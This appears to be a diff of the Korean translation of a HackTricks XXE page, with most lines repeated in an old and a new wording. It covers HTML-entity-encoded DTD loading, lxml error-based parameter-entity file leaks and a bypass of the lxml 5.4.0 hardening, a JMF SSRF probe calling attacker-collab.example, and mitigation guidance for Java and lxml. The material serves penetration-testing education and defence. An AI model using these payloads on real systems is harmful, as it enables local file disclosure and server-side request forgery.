웹이 Java를 사용하고 있다면 [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다.
웹이 Java를 사용하고 있다면 [**jar: 프로토콜**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다.
### HTML Entities
### HTML 엔티티
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 트릭\
**html entities**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd**를 로드할 수 있습니다.\
사용되는 **HTML Entities**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
**엔티티 안에 엔티티**를 생성하고 **html 엔티티**로 인코딩한 다음, 이를 호출하여 **dtd를 로드**할 수 있습니다.\
사용되는 **HTML 엔티티**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml 파라미터-엔티티 XXE (오류 기반 파일 노출)
> [!INFO]
> Python 라이브러리 **lxml**은 내부적으로 **libxml2**를 사용합니다. **lxml 5.4.0 / libxml2 2.13.8** 이전 버전은 `resolve_entities=False`일 때도 *parameter* 엔티티를 확장하여, 애플리케이션이 `load_dtd=True` 및/또는 `resolve_entities=True`를 활성화하면 접근할 수 있게 됩니다. 이는 로컬 파일의 내용을 파서 오류 메시지에 포함하는 오류 기반 XXE 페이로드를 허용합니다.
> Python 라이브러리 **lxml**은 내부적으로 **libxml2**를 사용합니다. **lxml 5.4.0 / libxml2 2.13.8** 이전 버전은 `resolve_entities=False`일 때도 *파라미터* 엔티티를 확장하여, 애플리케이션이 `load_dtd=True` 및/또는 `resolve_entities=True`를 활성화할 경우 접근할 수 있게 됩니다. 이는 로컬 파일의 내용을 파서 오류 메시지에 포함하는 오류 기반 XXE 페이로드를 가능하게 합니다.
#### 1. lxml < 5.4.0 악용
1. **정의되지 않은** 파라미터 엔티티(예: `%config_hex;`)를 정의하는 *로컬* DTD를 디스크에 식별하거나 생성합니다.
@ -692,8 +692,8 @@ https://github.com/luisfontes19/xxexploiter
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`로 로컬 DTD를 로드합니다.
* 정의되지 않은 엔티티를 재정의하여:
- 대상 파일을 읽습니다 (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- `%flag;` 값을 포함하는 **유효하지 않은 경로**를 참조하는 또 다른 파라미터 엔티티를 생성하고 파서 오류를 유발합니다 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. 마지막으로 `%local_dtd;``%eval;`를 확장하여 파서가 `%error;`를 만나고 `/aaa/<FLAG>`를 열지 못하게 하여 플래그가 발생한 예외 내에 누출되도록 합니다 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.
- `%flag;` 값을 포함하는 **잘못된 경로**를 참조하는 또 다른 파라미터 엔티티를 생성하고 파서 오류를 유발합니다 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. 마지막으로 `%local_dtd;``%eval;`를 확장하여 파서가 `%error;`를 만나고 `/aaa/<FLAG>`를 열지 못하게 하며, 던져진 예외 안에 플래그가 누출됩니다 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -709,7 +709,7 @@ https://github.com/luisfontes19/xxexploiter
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> 파서가 내부 서브셋 내의 `%`/`&` 문자에 대해 불평하는 경우, 이들을 이중 인코딩(`&#x26;#x25;``%`)하여 확장을 지연시킵니다.
> 파서가 내부 서브셋 내의 `%`/`&` 문자에 대해 불평하는 경우, 이들을 이중 인코딩하여(`&#x26;#x25;``%`) 확장을 지연시킵니다.
#### 2. lxml 5.4.0 하드닝 우회 (libxml2는 여전히 취약함)
`lxml` ≥ 5.4.0은 위와 같은 *error* 매개변수 엔티티를 금지하지만, **libxml2**는 여전히 이를 *general* 엔티티에 포함할 수 있도록 허용합니다. 요령은 다음과 같습니다:
@ -727,18 +727,18 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
<colors>&c;</colors>
```
#### 주요 내용
* **파라미터 엔티티**는 `resolve_entities`가 XXE를 차단해야 할 때에도 libxml2에 의해 여전히 확장됩니다.
* **매개변수 엔티티**는 `resolve_entities`가 XXE를 차단해야 할 때에도 libxml2에 의해 여전히 확장됩니다.
* **유효하지 않은 URI** 또는 **존재하지 않는 파일**만으로도 제어된 데이터를 발생한 예외에 연결할 수 있습니다.
* 이 기술은 **아웃바운드 연결 없이** 작동하므로, 엄격한 이그레스 필터링 환경에 이상적입니다.
#### 완화 지침
* **lxml ≥ 5.4.0**으로 업그레이드하고, 기본 **libxml2**가 **≥ 2.13.8**인지 확인하십시오.
* **lxml ≥ 5.4.0**으로 업그레이드하고 기본 **libxml2**가 **≥ 2.13.8**인지 확인하십시오.
* 절대 필요한 경우가 아니면 `load_dtd` 및/또는 `resolve_entities`를 비활성화하십시오.
* 클라이언트에게 원시 파서 오류를 반환하지 마십시오.
* 클라이언트에 원시 파서 오류를 반환하지 않도록 하십시오.
### Java DocumentBuilderFactory 강화 예시
Java 애플리케이션은 종종 `DocumentBuilderFactory`를 사용하여 XML을 파싱합니다. 기본적으로 이 팩토리는 **외부 엔티티 해석을 허용**하므로, 추가적인 강화 플래그가 설정되지 않으면 XXE 및 SSRF에 취약합니다:
Java 애플리케이션은 종종 `DocumentBuilderFactory`를 사용하여 XML을 구문 분석합니다. 기본적으로 이 팩토리는 **외부 엔티티 해석을 허용**하므로, 추가적인 강화 플래그가 설정되지 않으면 XXE 및 SSRF에 취약합니다:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
@ -765,15 +765,41 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
```
애플리케이션이 내부적으로 DTD를 지원해야 하는 경우, `disallow-doctype-decl`을 비활성화 상태로 유지하되 **항상** 두 개의 `external-*-entities` 기능은 `false`로 설정해야 합니다. 이 조합은 고전적인 파일 노출 페이로드(`file:///etc/passwd`)와 네트워크 기반 SSRF 벡터(`http://169.254.169.254/…`, `jar:` 프로토콜 등)를 방지합니다.
실제 사례 연구: **CVE-2025-27136**은 Java S3 에뮬레이터 *LocalS3*에서 위에 보여준 취약한 생성자를 사용했습니다. 인증되지 않은 공격자는 `CreateBucketConfiguration` 엔드포인트에 조작된 XML 본문을 제공하여 서버가 HTTP 응답에 로컬 파일(예: `/etc/passwd`)을 포함하도록 할 수 있었습니다.
실제 사례 연구: **CVE-2025-27136**에서 Java S3 에뮬레이터 *LocalS3*는 위에 표시된 취약한 생성자를 사용했습니다. 인증되지 않은 공격자는 `CreateBucketConfiguration` 엔드포인트에 조작된 XML 본문을 제공하여 서버가 HTTP 응답에 로컬 파일(예: `/etc/passwd`)을 포함하도록 할 수 있었습니다.
## References
### JMF/프린트 오케스트레이션 서비스의 XXE → SSRF
일부 프린트 워크플로우/오케스트레이션 플랫폼은 XML을 TCP를 통해 수신하는 네트워크 대면 Job Messaging Format (JMF) 리스너를 노출합니다. 기본 파서가 `DOCTYPE`을 수용하고 외부 엔티티를 해결하는 경우, 고전적인 XXE를 활용하여 서버가 아웃바운드 요청(SSRF)을 하거나 로컬 리소스에 접근하도록 강제할 수 있습니다.
현장에서 관찰된 주요 사항:
- 전용 포트(일반적으로 Xerox FreeFlow Core의 경우 4004)에서의 네트워크 리스너(예: JMF 클라이언트).
- `disallow-doctype-decl` 또는 엔티티 해제가 비활성화된 상태에서 jar 내의 Java 기반 XML 파싱(예: `jmfclient.jar`).
- 아웃오브밴드 콜백이 신뢰성 있게 익스플로잇을 확인합니다.
최소 JMF 스타일 SSRF 프로브(구조는 제품에 따라 다르지만 DOCTYPE이 중요함):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
노트:
- 엔티티 URL을 협력자로 교체하세요. SSRF가 가능하면 서버가 메시지를 파싱하는 동안 이를 해결합니다.
- 확인해야 할 하드닝: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- JMF 포트가 파일을 제공하지 않더라도, SSRF는 내부 재조사 또는 로컬호스트에 바인딩된 관리 API에 도달하기 위해 체인될 수 있습니다.
이 벡터에 대한 참조는 페이지 끝에 나열되어 있습니다.
## 참조
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- HTTP를 통해 자체 외부 DTD를 사용하여 정보 추출: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
@ -782,5 +808,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}